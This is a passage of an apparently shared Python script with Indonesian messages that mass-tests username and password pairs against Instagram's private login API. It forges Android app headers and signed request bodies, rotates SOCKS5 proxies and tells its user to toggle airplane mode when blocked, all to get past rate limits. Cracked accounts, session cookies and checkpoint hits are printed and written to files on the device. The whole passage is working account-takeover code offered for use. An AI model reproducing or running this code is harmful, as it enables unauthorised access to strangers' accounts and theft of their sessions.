  1104.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1105.                     self.faktor+=1
  1106.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  1107.                         wr.write(save)
  1108.                         wr.close()  
  1109.                     break
  1110.                 elif 'challenge_required' in str(response):
  1111.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1112.                     except (UnboundLocalError) as e: pass
  1113.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1114.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1115.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  1116.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1117.                     printz(tree)
  1118.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1119.                     self.chekpoint+=1
  1120.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  1121.                         wr.write(save)
  1122.                         wr.close()
  1123.                     break    
  1124.                 elif 'ip_block' in str(response):
  1125.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1126.                     time.sleep(3.5)    
  1127.                 else: continue  
  1128.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1129.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1130.                 time.sleep(31)
  1131.                 self.ExecAjax_Threads(username, password)
  1132.         self.looping+=1
  1133.        
  1134.     def DetedtorChekpoint(self, username, passwd):
  1135.         byps = requests.Session()
  1136.         Console().print(f"[bold grey50]   ──> [bold purple]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] Salah:-[bold blue]{self.sandi_salah}[bold white]    ", end='\r')
  1137.         ua_generate = Useragent().useragent_api()
  1138.         try:
  1139.             hash = hashlib.md5()
  1140.             hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  1141.             hex_ = hash.hexdigest()
  1142.             hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  1143.             curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  1144.             headers = {
  1145.                 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  1146.                 'x-ig-app-locale': 'in_ID',
  1147.                 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  1148.                 'x-ig-device-locale': 'in_ID',
  1149.                 'x-ig-mapped-locale': 'id_ID',
  1150.                 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  1151.                 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  1152.                 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  1153.                 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  1154.                 'x-ig-timezone-offset': str(-time.timezone),
  1155.                 'x-ig-connection-type': 'MOBILE(LTE)',
  1156.                 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  1157.                 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  1158.                 'x-ig-app-id': '567067343352427',
  1159.                 'priority': 'u=3,i',
  1160.                 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  1161.                 'user-agent': ua_generate,
  1162.                 'accept-language': 'id-ID, en-US',
  1163.                 'x-bloks-is-layout-rtl': 'false',
  1164.                 'x-ig-device-id': f'{str(uuid.uuid4())}',
  1165.                 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  1166.                 'Host': 'i.instagram.com',
  1167.                 'x-fb-http-engine': 'Liger',
  1168.                 'x-fb-client-ip': 'True',
  1169.                 'x-fb-server-cluster': 'True',
  1170.                 'x-fb-connection-type': 'MOBILE.LTE',
  1171.                 'connection': 'keep-alive',
  1172.                 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1173.             }
  1174.             payload = json.dumps({
  1175.                 'username':username,
  1176.                 'phone_id': str(uuid.uuid4()),
  1177.                 '_csrftoken': curl.cookies.get('csrftoken',None),
  1178.                 'guid': str(uuid.uuid4()),
  1179.                 'device_id': f'android-{hash.hexdigest()[:16]}',
  1180.                 'login_attempt_count': '0',
  1181.                 'enc_password':Requre().enc_password(passwd)
  1182.                 }
  1183.             )
  1184.             encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  1185.             proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1186.             response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  1187.             if 'logged_in_user' in str(response):
  1188.                 self.success+=1
  1189.                 try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1190.                 except (Exception) as e: cookie = (None)
  1191.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1192.                 except (UnboundLocalError) as e: pass
  1193.                 tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1194.                 tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1195.                 tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1196.                 tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1197.                 tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1198.                 printz(tree)  
  1199.             elif 'two_factor_required' in str(response):
  1200.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1201.                 except (UnboundLocalError) as e: pass
  1202.                 tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1203.                 tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  1204.                 tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  1205.                 tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1206.                 printz(tree)
  1207.                 self.faktor+=1
  1208.             elif 'challenge_required' in str(response):
  1209.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1210.                 except (UnboundLocalError) as e: pass
  1211.                 tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1212.                 tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1213.                 tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  1214.                 tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1215.                 printz(tree)
  1216.                 self.chekpoint+=1
  1217.             elif 'ip_block' in str(response):
  1218.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1219.                 time.sleep(3.5)  
  1220.             elif 'Harap tunggu beberapa menit sebelum mencoba lagi.' in str(response):  
  1221.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1222.                 time.sleep(3.5)  
  1223.             elif 'Kesalahan' in str(response):
  1224.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1225.                 time.sleep(3.5)  
  1226.             elif 'Maaf, terdapat masalah pada permintaan Anda.' in str(response):
  1227.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1228.                 time.sleep(3.5)  
  1229.             else:
  1230.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1231.                 except (UnboundLocalError) as e: pass
  1232.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1233.                 tree.add(Columns([Panel(f"[bold blue]{username}", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", style = "bold grey50", width=30)]))
  1234.                 tree.add(Columns([Panel(f"[bold blue]{follower}", style = "bold grey50", width=19), Panel(f"[bold blue]{followed}", style = "bold grey50", width=21), Panel(f"[bold blue]{feedpost}", style = "bold grey50", width=19)]))
  1235.                 tree.add(Panel(f"[bold blue]{headers['user-agent']}", style = "bold grey50", width=61))
  1236.                 printz(tree)
  1237.                 self.sandi_salah+=1
  1238.         except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1239.             Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1240.             time.sleep(31)
  1241.         self.looping+=1
  1242.          
  1243.  
  1244.  
  1245.        
Add Comment
Please, Sign In to add comment